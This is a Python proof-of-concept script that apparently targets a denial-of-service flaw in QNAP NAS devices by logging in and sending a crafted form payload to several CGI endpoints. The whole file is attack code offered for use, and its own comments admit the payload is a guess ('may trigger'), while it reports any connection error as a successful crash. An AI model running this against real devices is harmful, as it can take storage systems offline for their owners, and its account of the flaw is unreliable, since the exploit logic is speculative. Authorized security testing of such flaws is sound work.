#!/usr/bin/env python3
"""
CVE-2025-44013 PoC - QNAP NULL Pointer Dereference DoS
Note: This PoC is for educational and authorized testing purposes only.
Author: Security Research
Reference: QNAP Security Advisory QSA-25-50
"""
import requests
import sys
import argparse
from urllib.parse import urljoin
def check_cve_2025_44013(target_url, username, password):
"""
Check if target QNAP device is vulnerable to CVE-2025-44013
This attempts to trigger NULL pointer dereference via specific API request
"""
# QNAP QTS/QuTS hero authentication endpoint
auth_url = urljoin(target_url, '/cgi-bin/authLogin.cgi')
# Prepare authentication payload
auth_data = {
'username': username,
'password': password
}
try:
# Step 1: Authenticate to obtain session
session = requests.Session()
response = session.post(auth_url, data=auth_data, timeout=10)
if response.status_code != 200:
print(f"[-] Authentication failed - HTTP {response.status_code}")
return False
# Step 2: Send crafted request to trigger NULL pointer dereference
# The exact payload depends on the vulnerable endpoint
exploit_endpoints = [
'/cgi-bin/management/manaRequest.cgi',
'/cgi-bin/filemanager/utilRequest.cgi',
'/cgi-bin/sys/sysRequest.cgi'
]
headers = {
'User-Agent': 'QNAP NAS Client',
'Content-Type': 'application/x-www-form-urlencoded'
}
# Crafted payload that may trigger the vulnerability
exploit_payload = {
'func': 'core', # May trigger NULL dereference in core module
'op': 'query',
'year': 'null', # Specific parameter causing NULL pointer issue
'month': '',
'day': ''
}
for endpoint in exploit_endpoints:
target = urljoin(target_url, endpoint)
try:
response = session.post(target, data=exploit_payload,
headers=headers, timeout=10)
print(f"[*] Request sent to {endpoint}: Status {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Request to {endpoint} caused exception: {e}")
print(f"[!] Target may be vulnerable and crashed")
return True
return False
except Exception as e:
print(f"[-] Error: {e}")
return None
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-44013 PoC')
parser.add_argument('-t', '--target', required=True, help='Target QNAP URL')
parser.add_argument('-u', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
args = parser.parse_args()
check_cve_2025_44013(args.target, args.username, args.password)
# Usage: python cve-2025-44013.py -t https://qnap-nas.local -u admin -p password